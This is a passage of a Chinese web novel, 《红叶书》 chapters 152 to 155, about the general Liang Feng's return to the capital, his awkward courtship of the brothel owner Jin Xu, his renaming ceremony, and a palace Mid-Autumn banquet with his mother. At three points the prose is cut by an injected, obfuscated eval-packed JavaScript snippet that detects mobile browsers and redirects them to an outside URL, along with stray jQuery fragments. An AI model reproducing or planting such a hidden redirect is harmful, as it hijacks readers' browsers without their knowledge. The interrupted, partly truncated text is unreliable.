明天得一早醒来,然后出宫去。比较想先找金絮,但清晨时候她估计正要睡觉或者已经睡了,还是不打扰她了,先回军营,晚上再去找她。 他又想去看看与義,想去看看敬先,但似乎不得空了。 这么想着,到了住处,宫女说入夜时分七皇子来过,因梁风不在,七皇子留句话便走了。留的话是叮嘱梁风得空了记得去找他玩。 梁风体会到与義的心细,既然这样说,那便先不去找他了。 第二日,出宫返营。 为活下来的士兵发放赏赐、记名按序回乡探亲,为牺牲的士兵发放抚恤钱与遗言遗物,还有伤兵的安置、需要修复的军备、余粮的统计等等各项事宜都需安排。 底下人有经验,梁风将事项安排吩咐下去便可以不管,等副将他们回报各项事宜落实情况便好。 这近一年京城内发生的事情要通过太尉知悉一下,各兵种都有哪些调动。因兵力几乎全随梁风出去了,兵种变动与他出征前的安排没有太大区别,现在恢复原样就好。 多的事情是要派人盯着前匈奴可汗那边的情况,避免生事。前匈奴可汗住在宫外,已经派了人看守,梁风主要是吩咐人手与换岗布置。 事情不算特别多,埋首军务中一抬头,天已经黑了。 他急切地想去温柔馆。 军部没有太大变化,希望她的温柔馆也没有。 过亥时,梁风到了温柔馆门前。 心里挺激动的,梁风被门前众姑娘簇拥着进去,他微微诧异,“我好像没见过你们。” 姑娘们格外热情,不顾他说什么,一个劲拉他往里拽。 温柔馆内的烛火一如既往地明亮刺眼,梁风被晃眼的一瞬不由想着,她这一夜得烧掉多少钱。 温柔馆变了,变得客人更多了,厅堂里的布置也不一样了。 梁风喃喃问:“阿絮呢?” 抱着他往不同厢房拉扯的姑娘闻言放开他,失望地打量着。 “原来你是找阿絮的,怎么之前没见过你。” “我们阿絮姐可不接客哦。” 梁风忙道:“我知道,我知道,我就是找她。” 他被带去了一间厢房,关门的姑娘扔给她一句话:“公子在这等着吧,记得房钱要付一夜的。” 梁风就被放到三楼的房里了。他想自己去找她,又把门打开,到走廊外四处看。 温柔馆变化挺大,之前见过挂着的字字画画少了,四壁放置的屏风没了,厅堂的空间变大了很多。散席不止十位,多了不知多少,楼下男男女女人头团在一起,他一眼数不清席位。厢房外的书架子倒是没变,放置的书仍是闲书。 很显然,温柔馆的生意变得更好了。散席增置,她是想薄利多销吗。看看厢房,房间的灯也差不多全点亮了。 楼下一群男人里见到几张脸还挺眼熟,估计是朝堂里某个文官。 当官的都爱上青楼,难怪老李说她不需要钱财上的帮忙,估计温柔馆的价钱也有变动。 也好,让她赚赚那群文官的钱。 四周气息忽然有一丝轻微的变化,他猛地扭头往身后看,就见金絮静静看着他。 梁风牢牢盯着她这张脸,一时忘记要说什么,双腿已经走到她面前,告诉她:“我回来了。” 金絮上上下下看,最后定在他的脸,忽然道:“安分。” 梁风一愣,听见她说:“意思是让你安分一点。” 这是她的评价。梁风撇撇嘴,不想管这个,提醒她:“我记得我出发前和你说过不要叫我王爷的。” “没叫。”金絮进房点多几支蜡烛,问道:“梁公子今夜在温柔馆过宿吗?” “不过了,我得去宫里。”梁风跟着她,低头看她的手,食指在她右手手背上戳一戳,“没洗手吧?” 金絮被他戳得火折子对不准烛芯,没耐烦拍掉他的手,“那天晚上你走了之后我立马就洗了。” 梁风收回手指,不要紧,反正他活着回来了,她也完好。 “你还记得。”他挺开心。 梁风将她前前后后看一看,“好像瘦了一点。” 瘦得不多,她是有照顾自己的,只是脸上还有妆,看不出脸色,眼神很精神,他觉着不用去问暗卫这快一年的时间里她过得怎么样了。 “什么时候去宫里?在这用饭么?”金絮无所谓他的打量。 “嗯。吃完饭就去了。” 金絮招呼人上菜,末了问道:“是什么人想杀你?” 梁风一惊,“你都知道?” “知道得不多。”她关门,回身看他。 对视半晌,她摊手,“这样显得你出征前的担忧真的很多余。” 她说了大实话,梁风郁闷,不开心了,“你还是想复仇吗?”他担心这件事担心了一整个征程。 她没应,梁风道:“我就是化成孤魂野鬼,我也得回来和你说一句不能复仇。” “那我会被吓死。然后我也化成孤魂野鬼,我就去把皇帝吓死。”金絮在案前坐下,叮叮当当开始烹茶。 “就爱说死字。”梁风恼她一眼,坐到她面前。 “我只知道想杀你的人是你手下的士兵。天机阁就知道这么多。” “现在,你愿不愿意造反?”她推一杯茶到他手边。 茶水浅黄清澈,梁风看了一眼,不爱看,也不看她,盯着别处反问:“你把赵关处理得怎么样了?” 杀他的人是谁和造反有什么关系,她瞎问,瞎打听。 “想杀你的人是皇帝安插的吧。”金絮答:“赵关过完这个夏天就回家乡了,他是个行商,家不在京城。” “哦。”梁风说完。 “你想怎么整顿你的军营?”她还在问。 “好几万人,整顿起来不容易的。” “不容易那就慢慢来。”她道:“一棵树总有几片腐烂的叶子,必须剪了。” 梁风皱眉,这话不爱听,“你怎么不说是你没把这棵树照顾好,没给每一片叶子雨露均沾?何况树木根系足够庞大的话,一两片腐叶又不妨碍。” 门开,丫鬟进来上菜。 梁风想不出多的话,只好道:“皇帝说了会替我查清背后主使。” 她一瞬间的表情极为厌恶,梁风差点愣了,虽避开直视他,但这一瞬眼中的狠厉犹如化作实质针尖,用力扎在了目光所看的方向。她好像变得明显了,也变狠了,还是有必要问一下暗卫她近一年的情况。 “你变狠了。”他想握住她的手。 她缩手,“我又不是你。人是会成长的。” “长歪了。”梁风默默道。 她眼角抽了抽,忍不住嫌弃,“皇帝说帮你调查的时候,你是不是还得谢谢皇帝?丽姬说得真不错——我想杀你,你还得对我说谢谢。” 梁风听出她话里的嘲笑意味,抿嘴瞪她,这真是很难言,真想把她嘴里吐出来的话团一团再塞回她嘴里去。 脑子里的思绪七拐八拐,终于找到了话,梁风摆起十分严肃的态度问:“如果皇帝知道了你的身份,想除掉你,在温柔馆安插了一个杀手。你的温柔馆里有个姑娘想杀你,你会怎么做?” 梁风将眼神锐利起来,刺刺地看她。金絮浑然无所谓,一脸冷漠地被刺。 见她说不出话了,梁风哼:“站着说话不腰疼。” 他用筷尖敲碗边,强调:“这话我听着很不舒服,不许这样和我说话,听见没有?” 她眼睛浅浅一翻,移开视线,没说什么。 一碟笋尖蒸得不错,梁风多吃几口,鱼肉只有一道,做得差了,香料加太多。 他一边吃一边想话,“就像你和你姑娘们一样,对待那些男的,虽极不情愿,但是又不得不去敷衍。” 金絮往他这边看了看。梁风却不想说这个了,也没什么好说的。 他前倾一点,离她近些,“我不在的这段时日里你做了什么事情,我还没有问过你的暗卫,我希望你自己和我说。” “为什么要告诉你。”她脸上又变成一副“你是我谁啊”的表情。 “我关心你。”梁风道:“可以和我说一说的。” 金絮低头不言语,玩弄一盏小酒杯,手指在杯口划了两圈。 “啥也没干。还清了负债。” “赵关没有赖着你吧?” “没有。他没法再从我这里赚到钱就走了。” 察觉她是愿意说的,没有那么排斥。梁风转念问:“我那两个暗卫,用着趁手吧?” “还行。” 梁风仔细地看着她,想透过她那一层皮,仔细地看她。妆粉总归化不进眼睛里。她的眼睛倒映着烛火,能看见一圈一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839887|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光纹,又黄又黑又棕的眼睛有波澜从深处透出,滚滚荡开,细小的核心露出来。 烛火晃着晃着,梁风发现了自己,猛地回过神来,看见她垂下的睫毛。 梁风唰地抓住她的手,趴到了桌上,仰脸看她,“你想复仇的心是不是淡了?” 和出征前不同,丽姬、过浓的妆、温柔馆盛亮的烛火都曾是她遮掩复仇与不甘的装饰,周围总有其他浓烈的东西掩盖住她更加犀利凶狠的目光。而现在,她的眼睛没有那么尖锐了。 她凝聚的目光扩撒开,思绪从眼睛里飘出去。 “......有一点吧。” 梁风很喜,大喜,摇着她的手问:“为什么?” 金絮目光沉思起来,恍惚不确定道:“可能是发现自己没那么敢死?” 梁风觉着这话说得不对,“难道不是因为牵绊你的人太多了吗?” 她想了想,垂头道:“也是。” “牵绊你的人里面有我吗?” “有吧。”她掀眼皮看了看他,表情也不如何喜悦,“你不是说,你可以成为我的牵绊?” “有吗?” 他说过这么不要脸的话?梁风讷讷地,“我是关心你。” 金絮看着他,平静提醒:“在温柔馆,关心是要花钱的。” “关心不是要花心么,怎么是花钱呢。”他惊讶于自己这句话答得反应如此快。 金絮低着眼,改为注视桌上的那盘鱼。 梁风嘴上随意吃饭,眼上认真看她,还是想透过这层妆看看她的脸色。 妆虽然薄,但可以能明显看出每颗粉末。粉末的走势纹理或许可以体现脸部状态,平常睡眠如何、身体是否健康,他不说拥有李婶那样行医者的眼光,接触伤兵多了,多少也能看出一点。 涂脂粉又不是换了脸皮,蛛丝马迹肯定能看出来,她的睡眠绝对不好,每日清晨很早才睡觉。 金絮忽然一抬头,和他对上视线。梁风一愣,下意识低头看鱼。 她摸摸脸,“很好看吗?” 他看回去,没意识一点头。 “梁公子对我的关心很不一样。”她托腮。 “嗯嗯。”他继续点头,“因为我很喜欢你。” “我知道啊。”她道:“我是觉得,你特别想在我脸上看出什么。” 她拍拍脸颊,啪啪地出响。梁风捏着筷子,低头在笋碟里翻翻搅搅,不知道想要吃哪一根笋条。 “呃,我是想,你总是化妆嘛,我想看看你的脸,但你化了妆嘛,看不清,就只能仔细看。”他夹了一根不想吃的笋条,话还没说完,吃不了,夹着笋举在嘴边。 “因为化了妆之后是很好看的一张脸,我就怕你不化妆的时候脸就不好看了,身体就不好了......呃......” 金絮不明所以地看他,不明所以半天,还是不明所以。 “就、我是说......” 她突然恍然,打断:“哦,是这样啊。” 是怎样啊,梁风又把笋放回去,继续挑拣。 “呃,因为,这回差一点死掉了。” 他在说什么。 金絮眼睛随着他的筷尖在笋里翻搅,道:“你对我的关心很不一样。” 梁风筷子顿住,她忽然下巴一指,转而问:“你不喜欢这鱼吗?” “嗯嗯嗯嗯,香料太多了。”他忙不迭点头。 收回下意识顺她话看去那条鱼的目光,却见她没了话,梁风感到好丧气。 金絮沉默了,看着菜盘,不看他。 她什么都知道,怎么就知道了,他啥都不知道。梁风咬着筷子思索,以前还觉得她特喜欢思索,眼睛就是思索做的,现在他也喜欢思索了。 思索比涂妆还厉害,他完全不知道她在想什么。梁风在她脸上看了又看,后知后觉反地想,这段沉默不会是给他反应的时间吧。 “你会知道温柔馆里面每一个喜欢你的人吗?”梁风问。 “不知道。” “那为什么我喜欢你,你会知道?” “感觉到的。” 梁风眨眨眼,不是很懂,“被一个人喜欢,会有感觉啊?” “嗯。” “我好像没感觉到你也喜欢我。” 梁风转念,换了想法,本来这些也不重要,没什么好丧气的。 “你会因为有人喜欢你而不去做一些危险的事么?” 她陷入沉思,仿佛心里产生了某种深刻的矛盾,却没有想很久,道:“会吧。” 梁风心里一松,“那好啊,我会一直喜欢你。” 就这么简单,他不认为喜欢一个人是特别复杂的事情,只需要喜欢她就好了。 “不过,你不要总是问我愿不愿意造反的事情了。”他道“我也没那么敢死,我牵挂的人很多。” 他戳戳她的手背,“我很想你。” 153. 《红叶书》(七三) 她没什么反应,梁风想问金絮有没有想他,话到嘴边,还是不问了。 多大点事。 梁风一门心思地吃饭,余光偷偷瞧她,她始终没什么反应。 估计这话在温柔馆听得太多了吧,如此简单一句话是没有办法产生触动的。 饭桌的气氛寂静下来,梁风听见了胸腔里快速跳动的心脏,仿佛刚才心脏是忘了反应。 “那现在温柔馆没有负债了?”他提起气息问。 “没有了。”金絮筷尖挑了一点鱼肉吃掉。 好像说不出来话,梁风找话头,“温柔馆里是不是来了很多新人?” “嗯。也走了很多。” “走了的人去了哪里啊?” “不知道,她们有她们的打算。” “你会想她们吗?” 金絮点头。她开始吃起饭来,梁风看着她,在她专注的神情中感到了一丝异样。 金絮恍若无觉地挑鱼,梁风却莫名有种在照镜子的感觉,感觉到这点异样是她身上散发出来的难过。他觉得不对劲,还是想问清楚变得有点不想复仇的原因,牵绊她的事情到底是什么,这才是要紧的。 “我也有想你。”她忽然道。 梁风还没抽思绪,她就继续说:“在每次使唤你的暗卫的时候。” 抽出来的思绪还未喜悦就沉寂下去。是一句好听的话,他问:“想我什么?” “想你的暗卫为什么会这么听话,她们却不会。” “......哦。” 梁风思索一番,同她解释:“我在他们很困难的时候收留了他们,还送他们习武,所以他们很听我的话吧。” “对你的暗卫来讲,你于他们有恩?” “算是吧。” 她沉思片刻,低头筷尖戳碗底,“那看来,对我的姑娘们来讲,我收留她们并非是有恩于她们。” 她肯定道:“当然,收留到一个青楼里,怎么能算有恩呢。” 梁风看着她的眼睛,皱了皱眉,“可是她们要走你也没拦着。” 原本对温柔馆姑娘们的事情他是不想多言的,但是看不惯金絮这副神情。 金絮欲言又止,似乎想来想去最后道:“来去自由这件事,倒确实令她们对温柔馆挺满意的。” “我听说,别的青楼是有规定一个姑娘在一年内必须为馆里赚多少钱的,否则她们别想为自己赎身。” “我不喜欢这种规矩。”金絮欲言又止的神情变得苦恼了,“但是这一年里,温柔馆多了很多吃白食的人。” “这样的人军营里也有,我一律是按军法处置,该杀的必须得杀,不杀的也得罚。”梁风殷勤地传道受业解惑。 金絮摇摇头,自然不认可他的做法,军法那套不可能搬到温柔馆里来。 “刺杀你的人也该杀,你又不杀。” 梁风张了张嘴,出乎意料地被她堵了。还想说什么,窗外打更声飘荡过去。 戌时到了,他得进宫去了,亥时宫门就会落锁。 金絮也听见了,放下筷子道:“一夜房钱我就不收了,结这顿饭钱就好。” 她懂他的脸色,梁风还要说什么,没想到她那么痛快,只能低头应好。 不过不要紧,他又抬起头,来日方长。 小缃送来账簿,这一顿饭还挺贵,但没他想的那么贵,他结了账。 “里面包含我亲自陪同用餐的钱。”金絮道。 “我们一起吃饭居然还有额外的记账。”梁风不知什么意味地说。 金絮没说话,梁风拉住她到屋外的走廊。 “我要和你谈笔生意。” 他环视温柔馆最顶层的厢房,指向左侧的一间,下军令道:“我要买下温柔馆的一间房,以后那个厢房就是我一个人的了。” 不等她反应,梁风拽着她上层楼,走进他指的那间房。 兴冲冲逛一圈,房间很大了,中部由帷幔遮为前后两进,左右各有一间耳房,布置整洁,比普通厢房宽敞华丽许多,也有更浓郁的香气。外间有桌案用饭,帷幔后的内间有一排宝格架子,里面放了许多小玩意和辅助用的瓶瓶罐罐。 梁风满意,不满意的地方也能改造,摇旗宣布:“这间厢房是我的了,你不许让别的男人住进来。” “不可能。”金絮悍然不动,一副敌军首领的面容,“你这是挡我财路。” 梁风取出怀里的钱袋,全部递给她,“接下来一个月内,它是我的了。”他随身没带很多钱,先暂时买一个月的。 “不行。这些不够,你知道我一间厢房一个月能赚多少?”金絮将钱袋扔回来,“放了暗卫都不够,你还得用你自己?” “才不由你,本王说了算。”梁风挺挺胸膛,“本王如今可是燕国的诸侯王。我若愿意,随时能拆了你这座温柔馆。” 他将钱袋随意放在了桌案上,只要走的时候不拿走,这钱便算付给了温柔馆。 金絮抿嘴肃脸不乐意地瞪着他。什么也不说,只用这一副神情牢牢看着他。 梁风从正视她的眼睛,慢慢转移为余光看她的脸,再宣布:“下回我来,要是见到这房里有别的男人,我会立即对温柔馆发兵。” 金絮凶狠道:“有本事你发兵试试。原来王爷的喜欢可以轻易压垮温柔馆,你刚刚还让我不要叫你王爷。” 梁风理直气壮,“我让你不叫我王爷时,我便不是王爷,我说我是王爷时,我又是了。” 称呼的底线是很灵活的。 至于他的喜欢能不能压垮......无所谓,压不垮。 梁风理所当然道:“我还要检查你的房间是不是干净了呢,你做好准备。” “你想私闯民宅!”她恼羞成怒。 他要真想买下温柔馆,也就一句话的事,私不私的,没什么区别。梁风轻哼:“我才不管你。” 见她真的要生气了,梁风拂袖,“走了,送我。” 他施施然迈步下楼,金絮跟在他身后送他,时不时踩他触地的衣摆,踩住了便用脚蹍一蹍。 梁风拽拽衣摆,拽回来,听她假惺惺地道歉,搂着衣摆下楼。 “你可等着我,我是很快就会来找你的。” 温柔馆门前聚集的男人很多,堵住了街口。温柔馆丫鬟牵来梁风的马,避开拥挤的人群,牵到街边角落。过不了很久,会有官兵来疏通街道。 “王爷走好。”她扭头便走人。 梁风连马都还没跨上去,就被她扔在了角落。 他愣愣地看着金絮返回,看着她脱离角落的阴冷,重新被烛火包裹。 想上马,提不起身体上去,再看看她的背影,金絮没有回头。一直看她进入前馆,梁风反复确认心里没有什么沮丧的心情,便进宫了。 皇宫的烛火比温柔馆还亮,宫里有他的母亲呢。 虽同她说很快会去找她,但接下来的这段时间,梁风没什么空闲了。没空回营,也没空出宫,时时待在宫内跟随九卿反复牢记仪式流程。 易号典礼马上到了。说是典礼,其实就是个较为正式的册封,需要祭祖。受封的过程很简单,祭祖麻烦些。 除了祭拜礼外,还需提前焚香、沐浴、斋戒三日,这程式好像比他印象中首次受封为王的礼仪还要麻烦。 到了易号当日,梁风穿戴齐全,随九卿仪仗去太庙拜祖。 上一次进入太庙还是首次封王的时候,一众牌位都是生前封号与死后谥号写在一起,他只记住了几个离得近的和历史功劳大的人。 大周的历史已经三百余年,所有牌位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839888|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全是梁氏祖先,没有他母亲的族人。 梁风在九卿指示下叩首祭拜,聆听皇帝诰谕。 皇帝说,经数夜托梦,承恒帝遗志,以安定国邦、分镇四夷之意,为恒帝最幼子易号安分。 承的是父亲的名义,在他记忆中几乎没有印象的父亲,只存在于母亲口中的父亲,凭空寄托给他安定国邦、分镇四夷的意志。 梁风乖乖垂首听着,听九卿长篇地赞颂恒帝,听九卿短篇地赞颂他,听了很久,易号的圣旨终于向他递来。 一个让他安分一点的警告递到了他手中。梁风接了过来。 对着列祖列宗的牌位把头磕下去,触到地板的一瞬间,梁风忽然明白为什么拜的全是父亲的祖宗,没有一个是他母亲的祖宗。 只是易个号,需要劳师动众,皇帝颁道圣旨的事,为什么要祭祖。 因为他的母亲不被皇室承认,如果不是军功加身,他在这间祠堂里也不会被列祖列宗承认。 不是手中,是脸上,不是递,是扇,是一巴掌扇在他的脸上。 而他把这个巴掌接了过来。 梁风礼完直起身,谢祖宗,谢皇帝。 警告。管他呢,至少富裕了不是吗。 准备那么多,也就一个上午搞完了。 仪式结束,他却不能再留宿宫里,特权在这时消失了。 后续所有军功奖赏与燕国今年多余产物,尽数送到了安分王府,王府里里外外终于撑了起来。 李晟忙于清点物品数目忙得焦头烂额,梁风不忍老李那么辛苦,索性不清点了,放库房里堆着。 送来的东西里还有一些是朝堂的人为了讨好他而备的礼,被他混做一堆,分也分不清了。 这意思是,无论如何没想到,他会活着回到京城。 梁风挑了些小而贵重的东西送给母亲,想到他应该去温柔馆,为他那间厢房续一些钱。 一个月,怎么说都太短了吧。 于礼品堆中抽些空闲,他要去温柔馆。这次不骑马,用走的,他走去了来福街。 他一点一点挪着走,在街边屋脊之间,隐约见到了一点温柔馆烛火的轮廓,便停住了。 看了看,又往前走一点,隐约听见姑娘们揽客的声音,他又停住了。 已经时不时能看见几片走动的衣角,梁风拐进街边一家布行。 店家老板立即招呼他,他点点头,随手摸着店门边上放置的一卷布,摸摸布料,一边隔着门板缝看温柔馆不怎么看得见的情形。 她有的时候是会和别的姑娘一起在门口揽客的,不知道现在还会不会。 他细听声音,没听见金絮的声响,离得太远了。他松开布料,跨出一步跳上屋顶,走两步,到了屋脊边上,他蹲下,小心翼翼探头往温柔馆门前看。 楼下五六名姑娘在揽客,门前有因揽手而驻足停下的男人,二楼也有姑娘唱曲,她们都低头看街道,不会抬头注意到他。 没有看见金絮。 也是啊,梁风缩脑袋,温柔馆生意那么好,她当然要在里面忙,怎么会在外面。 梁风犹豫要不要跳到温柔馆的屋顶,看看庭院里面有没有她。犹豫一会还是没去,万一真见到她了呢。 是有点怕。借着典礼仪式躲了这几天,这下是不是没法躲了。 他不后悔,可是后悔了。要是进去发现那间厢房里面有别的男人,他就再也不去温柔馆了,再也不去了。她就算是安排别的房间给他,他也是不去了的。 可她如果留了房间呢。 那她也是给安分王留的,又不是给他留的...... 快被自己蠢死了。 梁风郁闷的脑袋快要砸到瓦片上。 给谁留的无所谓,主要是他此刻不敢进去温柔馆了。 154. 《红叶书》(七四) 梁风最终回到了王府。 王府才是绝对欢迎他的地方。 府里为即将到来的中秋佳节做准备了。李晟脸上很开心,列了长长一条单子,写着需要进购的货物,挨个吩咐下去采买。 梁风耷拉眼皮看着,没什么兴致,更没想到自己居然这么胆小。 “中秋那天晚上我得进宫里,有个宫宴要参加。”他道。 “王爷参加便是,您与八子玩得开心。”李晟道。 幸好如今府库充足了,老李要买什么可以肆无忌惮地买。梁风盘算接下来的行程,明日去看看敬先,然后回营。 是有些军务的,后面几天估计都不入城了,那要什么时候去找金絮呢。他或许得在军营磨磨胆子了。 金絮有什么好怕的! 隔日一早,梁风上崔府。 却连门都没登进去。崔府小厮说敬先还在睡觉,昨夜带孩子睡得太晚了。 梁风便不多打扰,告辞,反正以后有的是机会,只是没想到带孩子似乎是个挺麻烦的事。 他到军营处理种种军务的后续事宜,忙碌裹挟,心安理得地远离温柔馆。 从忙碌中抽身,转眼到了中秋这天。 梁风提前在傍晚左右便入宫了,他先去见母亲。 母亲还在梳妆打扮,梁风百无聊赖地等着。 “皇帝若是允许您出宫,您想离开京城吗?”他在长榻上斜瘫着问。 “离了京城,去哪儿呢?”母亲对镜戴耳坠,反问。 他不知道,去燕国吗?肯定是去燕国的。可是金絮会愿意和他一起离京吗?肯定是不会的。 邓氏起身,走近他,看着他的眼睛问:“我若是从皇宫出去,你竟是想离京的么?” 梁风不说话,金絮在太南有住处,她若是离开京城,也定是去太南的。 “皇帝恐怕不会愿意我在他眼皮子底下待着。”他想当然地认为,其实很不肯定。 穿戴完毕,梁风带着母亲去与宴大殿,心想说是中秋佳节,却不是露天开宴,而是摆在殿内,无法赏月,可能因为朝廷没钱了。 路上见到了许多脸熟的文官,他们总是后退一步,让他先行。 一进大殿,便有宫女引导他步入席位。 他的位置是帝位之下的首位,对面是太子。他在身份上,诸侯王是优先于军衔的,尤其是在比较重大的场合,此刻他的席位便比较靠前。 梁风坐下了,母亲也一起坐在旁边。 人还没齐,他四处看看,和母亲谈天。 赶在他后脚进来的人是匈奴可汗,大场合之下,押守的人没有太多。今日大殿内外的卫兵布局是梁风亲自吩咐下去的,明面上监守可汗的人比较少,暗地里更多些。梁风想皇帝摆这个宴,也是为的在匈奴可汗面前抖抖威风。 “那人是匈奴可汗?”母亲低声问。 梁风点点头,并纠正:“是前匈奴可汗。” “那些人呢?”母亲指指前匈奴可汗身后的一干年轻的人等。 “前匈奴可汗的子女,已经是质子们了。” “看着身子骨倒是结实。”母亲简单评价,而后略有傲色地看着梁风,“他们都是被你收服的。” 被夸奖了,梁风谦虚道:“收服匈奴的功劳我只占一部分。” 母亲不再说话,却仍看着匈奴任那边。 后面进来的一群人里有崔固和敬先,梁风一眼看见了,冲他们招了招手。但定北侯的席位略微靠后,敬先看见他,也只能克制地向他挥挥手。 再等一会,皇子公主们入宴。 “皇叔!” 与義一声喊,蹦到他面前,上手摸他的胸口。梁风一动不动,任由被摸。 “我出征前你被罚跪,跪了多久?” “过了这么久,哪还记得?”与義大大咧咧,“这一刀是谁刺的?” “不知道。”梁风催促:“赶紧坐下吧。” 与義只好坐下了,位置就在梁风旁边。 皇子公主们就坐,皇帝很快便来了。 众人起身行礼,并在皇帝示意下坐回去。皇帝便宣布宴会开始。 靡靡乐曲始奏,开始上菜,开始歌舞,舞女水袖翩翩,吸引宴席上的多数目光。 “你如今这个封号,我真是讨厌得紧。”母亲忽然轻声道。 梁风给母亲夹菜,邓氏仍道:“我做母亲的,是无论如何想不到你会在杀死匈奴首领的那一刻遇刺。” 坐席旁的七皇子往他这处探头看了看。梁风觉着母亲不好在宴会上说这些,但乐曲声大,有歌舞奏乐掩盖,她说的话传不开,更传不到皇帝耳朵里,便没拦着。 “我年纪也大了,心性是不如年轻时候了,也不如刚生你的时候了。我心里一直等着你荣耀加身的一刻,是不希望你离京的。”母亲道。 母亲脸上即便有妆粉修饰,上了年纪的憔悴与细纹仍是遮不住的,头上也有了白发,也可能是用的脂粉不是很好,哪天买点好的给母亲送去。 他劝道:“您别急,我也马上老了。” 邓氏笑了一笑,“那你可追不上我。” 她敛了笑,道:“想不到皇帝会这样狠心。可他若是不狠心,也不会是皇帝了。” 梁风眼睛不往皇帝那边看,应道:“是啊。” “你小的时候我把你送给陛下——曾经的淮南王,是以为能把你教养成同陛下那般心狠的人,可惜啊。” 母亲感叹,梁风默默不说话。 “可惜如今的我,却觉得皇帝这般,有些太过心狠了。” 梁风忍不住用余光偷看皇帝,皇帝在喝酒,有妃子相伴。那位妃子似乎就是三皇子的母亲,林昭仪。 母亲平日不怎么提起以前的事情,今日说得多了。在不被旁人听见的情况下,梁风是挺愿意聊的,回忆道:“在去淮南王府前的事情我还记得一点,在宫外那条巷子,我记得我挺喜欢那段日子的。” “你喜欢那个时候?”邓氏很意外。 梁风点头,“记得那条巷子里有位年长我几岁的哥哥,很照顾我,但他长什么样我现在已记不清了。” 邓氏苦苦一笑,“可惜啊。” 她感叹:“那段日子,在我心里却是最黑暗的一段时光。我五岁起在宫里苦熬,拼命想得贵人青眼。好不容易生了你,以为熬出头了,结果到头来居然还被遣散出宫。” “你会遗憾吗?”母亲问他:“如果当时我没有带你离开那条巷子,如今过得或许会是另一种更自在的生活。” “不会啊。”梁风一点遗憾没有,如果当时还住在那条巷子,他就不会遇见金絮了。 邓氏仔细在他脸上看了看,眉头一皱,“你是不是有了喜欢的姑娘?” “......啊?” “那天晚上你那么晚才进宫来,身上脂粉气可太重了。”母亲一脸“你瞒不过我的”样子。 梁风转而专心赏歌舞。 “什么样的姑娘会抹那么重的脂粉。那脂粉可是为你而抹的?你心悦她,她心悦你么?”母亲犀利地问。 梁风讷讷说不出话。 邓氏看明白而提醒:“她若是始终不会心悦你,你可别死盯着一个人,天底下好姑娘多得是。” 他不应声,看着前面舞姬不知名堂的舞蹈,赞道:“这舞跳得好啊。” 母亲一时没了话,梁风给她夹菜、端胡饼,“胡饼好吃,您多吃些。” 邓氏听他的话,便不说了,赏着歌舞吃胡饼,喝了几杯酒。梁风不能喝太多,只在皇帝举杯时喝了一点,他还要盯着前匈奴可汗那边的动静,也要留神看着母亲不能喝多了。 宴会后半段是与宴众人向皇帝献礼。 歌舞褪去,各种珍品宝物的名字呐喊起来,梁风无心去听。前两天夏培提醒过他,送礼环节的时候他是不用送的,因为他已经给皇帝送过大礼了,就是前匈奴可汗。 他专注看着那群匈奴人的动作,宴会尾声是皇帝钦点下任可汗,他需防备匈奴人出现过激行为。 礼送完了,皇帝面红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁风有点生气了,肃声道:“我没有后悔,更没有责怪您,我很欣喜于认识从那条小巷子搬出来后遇见的人。您乱七八糟的事情少想一点。” 进了屋,屋里没点蜡烛,唯一一名丫鬟午后休沐出宫了。 梁风让母亲坐下,拿出火折子点蜡烛,说道:“我要是没去太南,就不会认识她了。纵然很多时候处处受阻,以前走到哪里都被人监视,但是现在回过头想,我是一点也没后悔。”或许金絮就是他必须经历一些郁结后才能遇见的人。 邓氏看着他点烛的背影,脸上没什么欣喜,“你喜欢的姑娘,陛下会同意你娶她吗?” 梁风不说话,点完蜡烛坐到母亲身边,才道:“不说皇帝了,她还不愿意呢。” 邓氏脸上是一点喜悦没有,说:“我是有悔的。一个重视亲缘的人不会残害手足,自然有的事情你是做不出来的,但我希望你往后余生可以更自在、更随心一些。” 她面露欣慰,“你如今掌了权,去做一切你想做的事吧,去娶你心爱的姑娘,往后没人拦着你了。” 梁风不知道怎么答这话,他显然是没法随心所欲的。 邓氏宽心地微笑,“等我死了就会有这一天了。” 刚刚还在想金絮的心情被这话截断,万万没想到母亲这样说,他怒斥:“死什么死,不许这样想!您安安生生地在这住着,我去求皇帝放您出宫,住到府里去,皇帝要我怎么样都可以。” 为什么一个两个都是这样,金絮是这样,母亲也是这样。 “您最好是说笑的,快把话收回去!难道我在外征战,就是为了让您等死的吗?” “我是为了保全您,不是让您等死的!” 邓氏看着他,半晌幽幽叹气,“知道了,你别生气,我胡说的。” 过节的日子,梁风不想生气,放软了声音道:“您刚才喝了酒,头晕不晕?快些休息吧。今日没有宵禁,我不用急着出宫,看您睡下了我再走。” 母亲还想说什么,梁风就去为她烧火备浴水了。 趁母亲洗澡的时候,他在房里独自呆坐,脑子空空,像是想了很多,很想见金絮。 这个中秋节真是开心不起来。 155. 《红叶书》(七五) 邓氏浴毕,揽衣继续劝道:“你总不能一直这样下去,往后的事情也该想想了。” “我有在想。”梁风按着她在妆镜前坐下,为她梳发,“我想做个闲散王爷,最不济是被褫夺封号,做个庶民。” 他要能把军营放下才好,可是放下了,就什么倚仗也没了。 